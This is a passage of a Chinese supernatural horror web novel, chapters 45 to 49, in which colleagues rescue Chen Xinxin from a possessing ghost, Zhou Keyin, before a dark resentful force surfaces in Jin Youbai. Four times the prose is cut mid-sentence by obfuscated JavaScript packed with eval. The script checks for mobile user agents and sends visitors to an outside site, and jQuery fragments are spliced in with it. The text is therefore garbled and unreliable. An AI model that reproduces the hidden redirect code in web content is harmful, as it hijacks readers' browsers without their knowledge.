RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419858|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至包括陈欣欣自己，所有人的双脚都是反着长的。 陈欣欣这次没有尖叫，她沉默着晕倒了。 当她再次醒来的时候，是在办公室里。 她的嗓音依旧有些嘶哑，手机的依旧是关机状态，她喃喃地说，“无论如何……离开这里，我要离开这里，只要我离开这里，我就……” 直到现在，陈欣欣还天真地以为，只要她离开这里，怪事就不会发生，她就可以安然无恙。 然而，事情并不顺利。 因为她已经无法控制自己的身体了。 于是，她直直地站起来，推开了办公室的门，走到了盥洗室的门口，现在还没到上班时间，盥洗室里空无一人，卫生间里也没有人影，但那个鬼影现在就站在最后一个隔间的旁边。 陈欣欣的胆子并不大，她多希望她现在直接晕倒，醒来之后发现周围已经恢复了正常，但她现在恐惧极了，也清醒极了。 要不就这样吧。 不要再挣扎了。 直接死掉好了。 她无法控制自己的身体，于是，她眼看着自己一步一步地走到了那个女鬼的面前。陈欣欣的嘴张得很大，却发不出一丝声音，她的眼睛瞪得很圆，却不能闭眼或移开目光。 她看着自己离那个女鬼越来越近，她甚至有一种预感，已经没有机会了，这是她在这个世界上存在的最后一刻。 但在这时，她听到了一个男生的声音，“——她来了。” 那一瞬间，陈欣欣挣脱了桎梏，她立刻回头，向门口跑去。 好累。 从来没有这么累过。 她感觉她的身体已经被掏空了，无论如何都没有力气，她抬不起胳膊，迈不动腿。 每走一步都累得要命，把脚抬起来好累，往前再走一步好累，把步子迈大一点也好累，离门口越来越近，她不知道女鬼有没有追上来，她没有办法回头查看，甚至连头都抬不起来。 于是她低着头，从卫生间里走出来，出门的一瞬间，像是回到了人间。 见纪明霜正在往这边走过来，她吓得后退了一小步，“小、小霜？” …… 纪明霜很难描述她此刻的心情。 在她不知道的时候，陈欣欣居然经历了这么多…… 原来是这样啊……意识公司有鬼之后，陈欣欣立刻决定辞职离开，但陈母并不同意她辞职。 第一天，陈母成功说服了她，甚至还在沾沾自喜，但在第二天，她又从领导口中得知了陈欣欣提出离职的事，陈母出离愤怒，立刻采用了粗暴的手段，把陈欣欣直接绑走，间接导致了陈欣欣的失踪。 陈欣欣失踪之后，一直都被困在现实与梦境之间，她有的时候会恍恍惚惚地回到现实，有的时候又会坠入重重梦境之中，她的梦境有两个共同点，一是会回到公司的盥洗室里，二是会遇到伪装成纪明霜的女鬼。 一次又一次，永远无法离开。 终于，她崩溃了。 从水果店里顺走西瓜刀的人并不是周可音，而是陈欣欣，同理，把坐在员工休息室的沙发上的‘纪明霜’看作女鬼，不顾一切地扑上去，恨不得直接用西瓜刀捅穿的人，也是陈欣欣。 但沙发上的‘纪明霜’也并不是纪明霜本人，而是纪明霜的身体加上林然的灵魂。 而真·纪明霜现在正在陈欣欣的梦境空间里，由于梦境与现实的交汇，也使得纪明霜在梦境里看到了现实中的自己。 纪明霜：不是，这是怎么回事，我怎么成游魂了？ 46. 第46章 侧门 纪明霜回来之后，发现情况不太对。 这是怎么回事，陈父、陈母，那位大师，还有大师带来的弟子，这四个人怎么都围坐在她的身边？ 这是她的错觉吗？ 纪明霜挪到了小沙发的另一边，那四个人也跟着挪动了位置，大师和弟子显得有些紧张和拘谨，陈父只是安静地抽烟，陈母则是默默垂泪。 纪明霜：“……” 林然绕着纪明霜转了两圈，这才松了口气，“纪明霜，我以为你又死了。” “哪有那么容易嘛……”纪明霜小声地问道，“不过，现在是什么情况，我不在的时间里，发生了什么吗？” “也没什么吧……”林然说，“陈欣欣回来过一次，我当时想把她抓住，但没成功。” “咦？”纪明霜说，“具体讲讲。” 林然走到了员工休息室的门口，“她是从这里爬进来的，因为她的模样有点吓人，他们都在四处逃窜，没有人过来帮把手，我又有点按不住她，就把门给关住了……结果陈欣欣吹了蜡烛，顺着墙壁爬到天花板上了，简直像只蜘蛛一样。” “……然后呢？” “然后就是，陈欣欣在房间里乱窜，他们在房间里一边躲避，一边乱叫，当时的场面混乱极了，我好不容易把陈欣欣按住，陈欣欣的妈妈突然母爱发作，把我给推开了。” 纪明霜看了一眼正在默默流泪的陈母，难以理解，“……这是为什么啊？” “大概是因为在按住她之前，我和她大概博斗了五分钟？”林然双手抱臂，“唉……没办法，你的肌肉量不多，体重也轻，我担心把你弄骨折，用了一点格斗技巧，确实有点耽误时间。” “那他们为什么都围在我身边啊……搞得我怪不自在的。” “我被推开之后，陈欣欣突然暴起，把她妈妈扑倒了，其他三个人就这么看着陈欣欣把门打开，把人拖走，我实在看不下去，就把人给拖回来了。”林然说，“你一直没有回来，这次的情况特殊，我不能跟你一起进入幻境，我不想说话，他们也不敢说话，直到你刚刚回来，嗯，就这样。” “那……陈欣欣她现在怎么样？” “说实话，不太好，周可音完全把她当做玩具了，再这么折腾下去，她很快就会死掉。” 纪明霜摇摇头，“不行，不能一直等在这里，我们得赶紧找到她。” 陈母坐直了身体，关切地问道，“怎么找？” 纪明霜，“有手电筒吗？” 陈父和陈母都没有带手电，大师和弟子虽然带了手电，但手电的光芒几乎全被黑暗吞噬了，大师叹了口气，“没想到这东西这么凶，看来那个小姑娘凶多吉少啊……” 陈母瘫倒在了椅子上。 弟子的脸色也不太好看，“符纸被血浸透了，已经完全失效了，那个女鬼和那个小姑娘都快合二为一了，桃木剑也没法用啊。” 陈父一拍桌子，怒斥陈母道，“你为什么要把小纪推开呢……唉！” 见陈父的神情凝重，陈母解释道，“我、我也不想的，但是欣欣突然跟我说，说她错了，会悔改的，让我帮帮她，我就……我就……” 纪明霜问道，“你就相信了?” 陈母羞愧地低下了头。 “是否相信是一回事，是否愿意相信是另一回事。”林然说，“周可音知道她更愿意相信什么，她现在还希望陈欣欣认错道歉，迷途知返，这样，她作为母亲，就仍然是正确的，依旧站在不容质疑的权威高位，多傲慢啊。” 纪明霜扯了扯嘴角，“比起陈欣欣，她更想要乖巧听话的陈欣欣。” “我、知、道。”一个沉闷的男声插了进来，唐宇穿过墙壁，进入了房间，“我、知、道、她、在、哪。” 纪明霜朝着声音的来源看去，只见唐宇一步一顿地走了进来，像个缺少润滑油的机械人偶，他的模样没有变化，只是身体变透明了，这可不是什么好预兆。 “她在哪里？”纪明霜问道。 纪明霜没有控制音量，其他人抬起了头，环顾四周，但什么都没看到。 “储、物、间。”唐宇说，“救、她。” 纪明霜点了点头，起身离开了员工休息室，大师和弟子对视一眼，跟了上去。 陈父咬咬牙，也跟了上去，陈母不敢独自留下，也不想待在队伍最后，小跑着追了上去。 就这样，一行人走到了储物间的门口，纪明霜尝试着推门，推不开，拧门把手，拧不动。 大师走了过来，他向弟子示意，两人一起用力，把门撞开了，但储物间里一览无遗，空空荡荡，陈欣欣并不在里面。 陈母紧张地四处张望着，“她、她不在这里，你是不是弄错了？” 唐宇费力地跟了上来，费力地指向了储物间的斜对面，“厕、所。” 原来是这样……公司的楼道里分别有男厕所和女厕所，但在男女厕所的中间有扇小小的门，那是厕所的管理间，管理间里又有清洁间、设备间和储物间，难道陈欣欣是躲在了这里？ 纪明霜没有犹豫，立刻走向了管理间。这里平时几乎没人进去，所以并没有锁门，纪明霜轻轻一推，门就打开了，她率先走了进去，举着蜡烛，到处观察，大师和弟子也跟了进来。 陈欣欣已经失踪过了，不能再继续失踪了。 纪明霜举着蜡烛，暖橘色的烛光照在她的侧脸上，她突然回头，说，“把门关上。” 陈母站在门口，“那我要进去吗？” 纪明霜说，“不太建议。” 话虽如此，但陈母还是跟了进来，她手心湿润，手指冰凉，心中仍是不安，“欣欣在哪呢，我没看到啊……” 纪明霜说，“抬头。” 陈母举起蜡烛，抬头看去，而后惊恐地捂住了嘴。 陈欣欣现在正缩成一团，待在储物柜的上方，她的身上有很多淤青和大大小小的划伤，衣服也破破烂烂的，她的目光呆滞，没有聚焦，但眼珠仍在转动，她的头发蓬乱，遮住了她的半张脸。 储物柜并不高，陈欣欣又缩成一团，她此时就在陈母的正前方，陈母倒吸一口凉气，手中的蜡烛一抖，火星刹那变成火苗，顺着陈欣欣的头发窜上去，居然引燃了一小缕，而陈欣欣没有任何反应，只是不停地转动着眼珠。 幸运的是，火苗只有一小缕，纪明霜走过去，用力一拍就灭了。 只不过，比起这些，现在更引人注目的应该是陈欣欣旁边的周可音，她伏在陈欣欣的身边，开心地‘咯咯’笑着，手里拿着一个穿着红色旧式嫁衣的小娃娃。 所有人都能看到周可音，大师拿出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419859|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了桃木剑，陈母缩在了陈父的身后，而弟子则是拿出手机试图拍照，但屏幕里只有陈欣欣，没有周可音。 周可音说，“纪明霜，我现在还是更想要你呢~” 林然：“想都别想。” “哦，你也是这么想的吗？” 纪明霜：“嗯。” “如果你把身体给我，我就把陈欣欣放了。”周可音说，“我观察过你哦，你简直就是我的理想型，年轻，漂亮，虽然不太懂得化妆打扮，嗯，人际交往也很干净呢，我想，我已经无法成为陈欣欣了，而且我也不想成为陈欣欣，但是，如果能成为你的话也不错呢……呵呵。” 纪明霜：“不可能。” “如果现在拒绝我的话，你可能会后悔哦，这也许是最后一次机会呢，最后一次救你朋友的机会，怎么，不想珍惜吗？”周可音笑了笑。 陈母紧张地看着纪明霜，在几近窒息的沉默里，她还是说出了心里的话，“小纪，要不你就同意了吧……” 大师露出了吃惊且嫌弃的表情，“你说是还是人话吗？” 弟子也适时地捧哏，“这必然不是啊。” 陈父皱了皱眉，没有说话。 “嘻嘻，好好考虑一下我的提议嘛，他是你的男朋友吗，好可怜呢，他一直都守着你，没给我半点机会，你把身体让给我，你们就能在一起，还有你的朋友们，也能幸福地活着哦。” 纪明霜没有说话。 “我也很喜欢陈欣欣哦，她是个缺爱的孩子，所以意志不够坚定，对我来说，轻而易举就能弄到手，你看她现在的样子，好糟糕哦，唉，我从小就有这样的毛病，轻易到手的东西，总是不会珍惜啊……” 陈母犹豫了很久，终于下定了决定，往前走了一步，抬起头来，“我呢，我怎么样，用我的命，换我女儿的命，可以吗？” 周可音立刻不笑了，满脸嫌弃，“不要，你是脏东西。” 弟子小声地吐槽道，“啧啧，被脏东西说是脏东西了呢。” 陈父也上前一步，“如果加上我呢，我们的两条命，换我女儿的一条命，对于你来说，应该很合算吧。” 周可音摇了摇头说，“不要，你更是脏东西，在这装什么呢。” 纪明霜又问道，“我很好奇，你一直没有和她完全融合，这是为什么呢？” 陈母也祈求地看着周可音，希望这件事还有回转的余地，“如果你愿意放了我的女儿，无论什么条件，我都愿意答应。” 周可音笑了笑，“可以啊，用陈荣来换。” 陈母立刻警惕起来，“不行，绝对不行。” 从储物间门上的小窗向外看去，周可音总算看到了唐宇的身影，她最后摸了摸陈欣欣的脸。 与此同时，纪明霜看准机会，把靳尤白托小敏送给她的金光符箓拿了出来，迅速地贴在了陈欣欣的身上，周可音被金光打到一边，陈欣欣也从储物柜顶滑落，落到了陈母面前的地面上。 周可音爬了起来，轻笑一声，飘了出去，而后，她说，“我已经等到了哦，记得吗，我曾经说过的——别以为自己很特别，对方可是，很狡猾的哦~” 此时，公司的大门已经被锁住了，靳尤白打着手电找到了侧门，侧门并没有上锁，她松了口气，推开了侧门，进入了公司大厅。 47. 第47章 可音 陈欣欣摔落在地，所有人都围了上去，弟子用手指戳了戳她的胳膊，“她现在还活着吗？” 大师探了探陈欣欣的鼻息，“还有呼吸，趁女鬼还没回来，我们先把她带走。” 陈母有些担心，她看向了陈父，“现在怎么办，带她回家吗？” “她现在还不能回家，把她带到病院去住。”陈父说，“还有就是，小纪，你在看什么呢？” 纪明霜没有回答。 她的心中仍有疑虑。 为什么？ 为什么周可音突然离开了？ 还有，储物间门口的身影是……唐宇？ 纪明霜打开了储物间的门，唐宇正站在门口，他变得更透明了。 唐宇说，“抱、歉。” 纪明霜：“发生了什么？” 唐宇机械地摇了摇头。 这时，陈母惊喜地喊道，“欣欣醒了，欣欣醒了！” 纪明霜走回储物间，见众人正七手八脚地把陈欣欣抬起来，陈欣欣没受重伤，她的身上大多是些瘀青、擦伤，以及刚刚的摔伤。 陈母把女儿抱在怀里，“欣欣，妈妈在这，妈妈在这呢，妈妈错了，是妈妈对不起你……” 陈父的眼里也有泪意，“欣欣，你现在还好吗，还认得爸爸吗？” 陈欣欣缓缓睁开眼，她的目光在人群中搜寻着，终于找到了此刻离她最远的纪明霜，她张了张嘴，说不出话来，唐宇飘了进去，停在她的面前，陈欣欣看着他，说了一个字，“滚。” 唐宇没有离开，陈欣欣也不理他，而是虚弱地喊了一声，“小霜。” 陈母的脸上难掩震惊和失落，女儿醒来之后，不喊妈妈，也不喊爸爸，先是让她滚，又喊了同事来。 为什么会这样？ 她们才认识几天啊！ 纪明霜走了过去，关切道，“欣欣，你现在怎么样？” 陈欣欣太虚弱了，她的手慢慢移到身边的金光符箓旁边，陈母连忙把符箓拿起来，揣进怀里，“欣欣，别担心，妈妈帮你收好了。” 陈欣欣说，“小偷。” 陈母适时露出迷茫、谴责又失望的神情，“欣欣，你居然说妈妈是小偷？” 陈欣欣盯着陈母，继续说，“强盗。” “欣欣，你怎么这样说，妈妈又不是不给钱。”陈母掏出手机，对纪明霜问道，“这张多少钱，还是之前的价格吗？” 纪明霜说，“这是我朋友的，我向她借来的。” 陈母说，“哦，你朋友啊，把你朋友的联系方式给我吧，我会给她一个合适的价格，还有，你之前的符箓，我还要再买二十张，呃不，五十张。” 纪明霜向陈母伸出手，“不卖，还我。” 此情此景，太过难堪，陈母把金光符箓拿了出来，拍到了纪明霜的手里，“哼，穷人的朋友，还是穷人，活该这辈子穷酸，赚不到钱！” 大师和弟子都露出了一言难尽的表情。 陈父也觉得有些丢人，他低低地说了句，“说什么呢。” 之后就不再说话了。 陈欣欣努力拉住了纪明霜的手，她费力地说，“小、小霜，我已经没事了，她盯上的人是，靳……” 纪明霜站了起来，“靳尤白？” 陈欣欣的眼前越来越黑，她勉强支撑着自己说完了最后一句话，这才晕了过去。 她说，“她在一楼。” 纪明霜立刻跑了出去，一边跑，一边想，这怎么可能呢…… 靳尤白被她妈妈看得那么紧，怎么会深更半夜突然来公司呢？ 难道是为了自己？ 怎么会呢，自己什么都没说，她什么都不知道。 再联想到周可音刚才说过的话，她说，‘这也许是最后一次机会呢，最后一次救你朋友的机会’，难道说，这个‘朋友’，不是指陈欣欣，而是指靳尤白？ 纪明霜开始跑下楼梯，她已经没办法思考了，如果陈欣欣说的是真的…… 那也不对啊。 哪能轻易上身呢，除非靳尤白主动同意…… 但靳尤白和陈欣欣不一样，陈欣欣是真的什么都不知道，所以才轻易地答应了周可音，但靳尤白是懂得这方面的知识的，她有爱她的父母，有帅气的男友，有很多的朋友，还有热爱的事业，无论怎么想，她都不会轻易同意吧。 “纪明霜，跑慢一点。”林然说。 “我、我下楼梯摔死过？” “嗯，我记得的，有十三次。” 纪明霜的速度没有减慢，“我、我会小心的。” 然而，她的话音未落，右脚突然滑了一下，与此同时，左脚已经迈了出去，摔倒是不可避免的了。 现在的情况下，如果突然摔倒，向后仰更安全，这时一定要低着头，避免后脑撞上台阶，尽量用屁股着地，顺势躺下，防止受伤。 但纪明霜的重心是向前的，她看着面前一级一级向下延伸的冰冷楼梯，想用双臂护住要害，但没来得及。 因为林然上了她的身，此时已来不及调整重心了，于是‘她’向前栽去，并调整了姿势，收起手臂，用身体侧面着地，顺势翻滚，幸亏公司的楼梯不算陡，‘她’并没有一级一级地摔到最底层，‘她’爬起来，跑下了楼，步伐很稳，速度很快。 到底层的时候，纪明霜看到了她最不想看到的场景。 周可音趴在已经昏迷的靳尤白的身上，就像找到了最喜欢的玩具一样，“怎么样，我很厉害吧，她果然是最好的！” 纪明霜一步一步地走了过去，她想尽量让她的语气和表情都更平静一些，但是她做不到，“你把她怎么样了？” “她啊……她只是昏倒了。”周可音无比怜惜地轻抚靳尤白的脸颊，“别用这种表情看着我嘛，我以后会好好生活的，就像一个普通人一样。” “周可音，要不，你再考虑一下我？” “你比陈欣欣好，但她比你还好，我现在有的选，当然会选更好的，啊，好开心啊。”周可音露出一个单纯的笑容，“好喜欢看你现在的表情啊……你知道吗，就像当时的陈荣一样，我给她留下了一个梦，一个关于你的噩梦，她果然非常看重你呢，不顾一切地开车过来找你，你们还真是好朋友呢。” “周可音……” “就在刚刚，我冒充了你，爬到她面前，她一眼就识破了，于是我告诉她，你马上就要死了，但事情还有转圜，我问她是否愿意为你而死，她都没有犹豫，就这么答应了。那一瞬间，我都有点不忍心了……” 纪明霜没有接话，心中的情绪翻涌，让她感觉很难受，这种感觉甚至有些陌生，太突然了，她难以接受。 周可音惨笑着说，“纪明霜，我好羡慕你，能被人这样爱着，我也很羡慕她，她的父母也全心全意爱她。就连陈欣欣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419860|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我都好羡慕，就算她没有好的原生家庭，只要她的心灵摆脱了桎梏，也随时可以重新开始，一样能过上幸福的生活，但这些是我，作为一只鬼，无论如何都无法做到的事啊……” 纪明霜说，“我愿意。” “呵，果然啊……”周可音看着靳尤白姣好的面容，叹道，“你愿意也不管用啊，她不愿意你死掉呢……如果我能成为她，恐怕也活不长啊，一年或者两年？但是我真的好想重新活在世上啊……” “你这么想成为人类，为什么没有轮回转世呢？”纪明霜问道。 “拜托诶，纪明霜，是我不想吗，是我不能啊……”周可音说，“因为我杀了人，不止一个，害我的人已经死掉了，但我也被过去的因果所困，没有办法离开这里，你不会以为当一只鬼很自由很快乐吧，快乐只是短暂的幻觉，但我感受到的痛苦却是真实存在的，这种痛苦时时刻刻折磨着我，我好想睡一觉啊，哪怕只有一次……” “周可音，你知道这么做的后果吗？” “像唐宇一样消失？”周可音说，“唉，你已经足够淳朴善良了，但他简直好骗得过分，实在是太方便了，所以我用了一次又一次，啧啧。” “你做的这一切，值得吗？” “没关系哦，消失之后，虽然没有快乐，但也没有痛苦，我期待着那一天~” “……是吗？” “这也是没办法的事嘛。”周可音说。 “周可音，我想你对这件事的了解还不够深刻。”纪明霜从包包里拿出了半本手记，“有个故事，请你听听看，是这样的，一对双胞胎姐妹，姐姐用了妹妹的身体，融合之后，从正常生活到发病，用了三个月，从发病到死亡，用了三个月，结束之后，姐姐的灵魂也消失了。她们可是双胞胎姐妹，在出生之前，她们就在羊水中彼此陪伴，尽管如此……结果还是不尽人意。” 周可音的表情有些冷漠：“哦，那又如何，你又没有当过鬼，不知道我的痛苦，我已经不想停留在人间了……” 纪明霜问道，“你后悔吗？” “后悔又怎么样呢，已经来不及了啊……所以，到此为止吧，纪明霜。”周可音说，“但由于我和她有约定，所以，你们可以再见最后一面。” “不，我要说的，不是这个，直到现在，你仍然有机会……” 周可音打断了她的话，“你不想再见她一面吗，如果不想的话就算了。” 纪明霜：“想。” 于是，靳尤白悠悠转醒，她睁开双眼，看着周可音，“谢谢？” 周可音笑了笑，“不必客气，那我也不客气了哦~” 纪明霜：“等等！” 周可音没有理会，她闭上双眼，像溺水的人沉入海中一样，慢慢沉入了靳尤白的身体。 纪明霜走了过去，握住了靳尤白的手，好凉。 在冰冷的地板上，靳尤白勉强笑了笑，“抱歉，霜霜，事情发生得有些突然，我其实还没有整理好语言，那时的事，我、我很抱歉……” “为什么，你要对我说这些……” “别哭了啊，霜霜。”靳尤白说，“因为我一直很愧疚，关于你的事，我没有勇气说出口，那个，能不能原谅我……” 纪明霜说，“没关系，都没关系的。” 林然说，“不对，情况不对，怎么回事，周可音的能量波动突然完全消失了……” 48. 第48章 黑雾 林然突然说，“纪明霜，现在立刻后退！” 此时，纪明霜正跪坐在靳尤白的身边，她握着靳尤白的手，转头看向身边的林然，“什、什么？” 靳尤白放开了纪明霜的手，她虽然看不到发生了什么，但是她知道，有什么异变已经悄然发生了。 “霜霜，别管我，你先走吧。” 林然说也警告道，“现在，立刻！” 纪明霜低头看着靳尤白，而后，她震惊地看到，靳尤白的身体中有一层黑色的雾气正在慢慢浮现。 这种黑雾给人的感觉，像是层层叠叠的黑纱，这是怨气过重的实质化体现，一只鬼不可能有这样深沉的怨气，这恐怕是很多魂灵怨气的集合，它们之间彼此缠绕，彼此影响，正在变得更加尖锐，更加密不可分。 纪明霜离这些黑雾过近，不可避免地受到了影响，她能听到‘它们’的声音——连续不断的尖叫和嘶吼、痛苦的哀嚎、抛弃一切尊严的哀告和恳求、裂眦嚼齿的怒骂与诅咒、足够撕裂心绪与理智的悲伤与麻木，无法化解的仇怨与憎恨……这些足够让她感到心惊，甚至是难以抑制的战栗，她不受控制地坐倒在地，慢慢地后退着，“这……这是什么？！” “纪明霜，继续后退。” 纪明霜站起来，跑远了一些，又忍不住回头，黑气弥漫，已经看不清靳尤白的身影了，“她们这是……融合了吗？” 林然说，“好消息是，她们已经无法融合了，坏消息是，你的朋友身上有一种非常强大的力量，这种力量非常邪恶且不可控，甚至能够轻易剥夺别人的生命……” 纪明霜喃喃地说，“那周可音……” 林然说，“她并没有融合，也没有消失，这么说吧，这股力量像一堵墙，那周可音就是一块砖头，这股力量是一条河流，那周可音就是一捧水，至于这条河流要流向何方，那就不知道了，但人往高处走，水往低处流，这样重的怨气，颜色浓得像墨汁，难道还指望它积德行善吗？” “原来是这样……”靳尤白的身影已经在雾气中完全消失了，这种力量太可怕了，面对它就像面对死亡本身。 靳尤白并没有晕倒，她坐了起来，看着自己的双手，她手上的血色尽失，甚至带着隐约的青灰，如同浮了一层死气，她能感觉到身体与灵魂的极度疲惫，就好像她已经走到了生命的尽头，好累，真的好累啊…… 公司大厅的侧门被推开，一位打扮得体的女士不顾形象地跑了进来，当她看到大厅里发生的一切的时候，难以置信地捂住了嘴，肩上挎着的HOBO包也不由自主地滑落，“……小白？” 靳尤白听到了靳尤真女士的声音，她转过头看着妈妈，只不过是几个字，就像耗尽了全身的力气，她说，“妈妈，别过来……” 见刚刚走进来的女士正在靠近那团黑雾，纪明霜连忙过去阻止，“阿姨，您先别过去。” 林然说，“你的朋友还没死掉，说明这种力量还没被唤醒，也许过一段时间就恢复正常了……” 纪明霜把林然的话复述给了靳尤真女士，靳尤真女士看着靳尤白在黑雾中隐隐约约的身影，她说，“我知道……” “您……知道？” 靳尤真女士没有回答，她努力平复着情绪，现在的情况，着急也没用，发泄情绪更没用，她后退到门口，拿出手机，拨打了一个号码，接通之后，她沉默了一会儿，才说，“阿何，我找到她了。” “啊……真是太好了，也不知道她是怎么回事，睡醒之后，拔腿就跑，她真的不是短跑运动员吗，你、我、还有你的助理阿刘，三个人，硬是追不上，让她给跑了，唉。” 靳尤真女士没有说话。 对面男人的声音大大咧咧的，“靳姐，你怎么不说话，她现在没事吧？” “有事。”靳尤真看着那一团黑雾，问道，“你最近有空吗？” “靳姐的事，我当然有空啊。” “跟我去一趟白黎山，然后飞去暹罗，去见一位大师。” “要去外地啊，可是我还答应给一个小姑娘画符箓来着，她又跟我预订了十张。” “那个东西，又出现了……” 道长正坐在桌前，手机打开免提放在旁边，正悠闲地用夹子夹坚果吃，“什么东西啊，没头没尾的，我们不是看过吗，她现在没有问题。” 靳尤真女士没有说话。 道长想到了什么，他手里的夹子掉到了桌面上，“你说的‘那个东西’，不会是……” 靳尤真转身面对着公司大厅的玻璃门，那里倒映着她冷然的面容，“嗯。” 道长倒吸了一口冷气，“天哪，当年纪哥都没搞定的怨魂，现在它的力量应该变得更强了吧……” 靳尤真女士还没说话，眼泪就掉了出来，“我、我不知道……” “靳姐，别哭啊……唉，也不知道纪哥现在在哪，上次我拿到了联系方式，结果对方是个姓林的学者……” 靳尤真女士说，“在白黎山。” “白、白黎山，纪哥他现在在白黎山？” “嗯。” “当年就是因为这件事，我们三个散了伙，现在又是因为这件事，我们三个要重聚喽，说起来，靳姐，你当年拿给我的支票，我当时没去兑钱，你能给我再来一张不？” “有什么不行的，早就说了，有事来找我，结果你小子……唉。” “没办法嘛，我有今天，也是多亏了你们，哪好意思拿你的钱。”道长说，“但是，至少有一个好消息，但我和那个小姑娘有约在先，嗯，暂时不能告诉你。” “小白她，一直都是一个很好的孩子，我现在才明白，我当年能安然无恙，原来是她为我挡了灾……要不是她，我当时必死无疑。”靳尤真女士回头看着那团黑雾，现在已经消散了些许，另一个女孩子站在黑雾边，她身旁的男生看着有点眼熟，“无论如何，我一定要保护她……” 另一边，几个人手忙脚乱地把虚弱的陈欣欣扶了出来，看到一楼大厅的异状，陈欣欣连忙说，“等等，那是什么？” 陈父说，“欣欣，你在说什么呢，那里有个人躺着，是晕倒了吗？” 陈欣欣说，“不对，我们现在不能过去。” 陈母也劝道，“欣欣，别任性了，我们得赶紧离开这里，不然那个女鬼可能再次出现……” 陈欣欣说，“不行，不能靠近，会有危险！” 大师也不知道发生了什么，但他手机上挂着的铃铛挂件正在不停地‘叮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419861|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铃’作响，大师用力拍了一下铃铛，“怎么回事，怎么突然就响了。” “师父，这玩意还真会响啊……它之前从来没有响过，我还以为咱们被骗了呢……”弟子新奇地说。 大师更谨慎一些，“也许那里有什么东西，我们现在先不要过去。” “哪有什么东西，我们还是快走吧……”陈母说。 陈欣欣说，“哦，你们随意，但是把我放下。” 陈母的语气有些责怪，“欣欣……” 陈欣欣没搭理她。 纪明霜走了过来，“你们绕道走吧。” 见纪明霜发话，陈欣欣立马点头，“好，我们绕道走吧。” 纪明霜引着他们到了公司门口，送别的时候，纪明霜给陈欣欣又拿了三张符箓，“欣欣，这次可要收好了，有事立刻联系我。” “谢谢你，小霜。”陈欣欣收下符箓，又对陈母说，“妈，给钱。” 纪明霜皮笑肉不笑，“双倍。” 陈母付了钱，最后，陈欣欣抓着纪明霜的手，“那，小霜，再见喽。” “再见。” 见靳尤真女士正站在门口，纪明霜走了过去，把金光符箓拿给了靳尤真女士，“那个，阿姨，这个给你。” 靳尤真有点怔愣，“这……这个怎么会在你手里？” 纪明霜不能把小敏供出来，所以只能说，“是靳尤白拿给我的。” “原来如此啊……”靳尤真女士没说什么，把金光符箓放进了包里。 刚刚在大厅里，没有灯光，还有黑雾，她看不清纪明霜的面容，现在在大门口，她看到这个穿着朴素，甚至有些土气的女孩子，居然有些意外的亲切感，只是此时，这种不合时宜的情感，反而让她感到心酸，“我明白了，这是小白的选择，不必为此而愧疚，不过还是谢谢你，小姑娘。” 纪明霜摇了摇头，“您不必客气，物归原主而已，还有，我很抱歉……” 靳尤真女士闭了闭眼，“不必抱歉，就这样吧。” 纪明霜坐在公司门口的台阶上，呆呆地望着黑沉沉的夜空，冷风无时无刻不在带走她的体温，让她由内而外都感到寒冷，“林然，我不明白，为什么尤白的身上会有那样可怕的存在……” 林然说，“我只知道，这个量级的怨气，已经不能用恐怖来形容了……幸亏它仍在休眠，否则，一旦苏醒，破坏力是非常惊人的，这不是你一个普通人能够处理的事件。” “是啊，我能看得出来，这是压倒性的、不可战胜的力量，尤白为什么会招惹上这样的东西……她也只是一个普通的女孩子啊。”纪明霜吸了吸鼻子，“真是太狼狈了，黑雾出现之前，我被周可音耍得团团转，都没机会使用金光符箓，黑雾出现之后，再来一百张金光符箓都没用了……” “因为符箓可以击退鬼魂，但不能用来化解怨气。”林然说,“……唉，算了，如果我劝你，到此为止吧，你大概不会听我的话吧。” 纪明霜勉强笑了笑，“不一定哦，我在病房醒来的时候，就有一个声音对我说，要好好生活，要珍惜生命。” 靳尤真女士推开了侧门，对纪明霜说，“小姑娘，小白已经醒了，黑雾也都散了，她有话想对你说。” 49. 第49章 点心 最后看了一眼黑沉沉的夜空，纪明霜转身走进了公司大楼，天已经快亮了，靳尤白周围的黑雾已经渐渐消散了，她现在看起来和普通人没什么区别，甚至还笑着向她招手，“霜霜！” 靳尤真女士站在门口，远远地看着她们，眉间是化不开的愁绪。 纪明霜小跑了过去，“尤白……” 靳尤白握着纪明霜的手，“抱歉哦，霜霜，让你担心了……” “你现在感觉怎么样？” 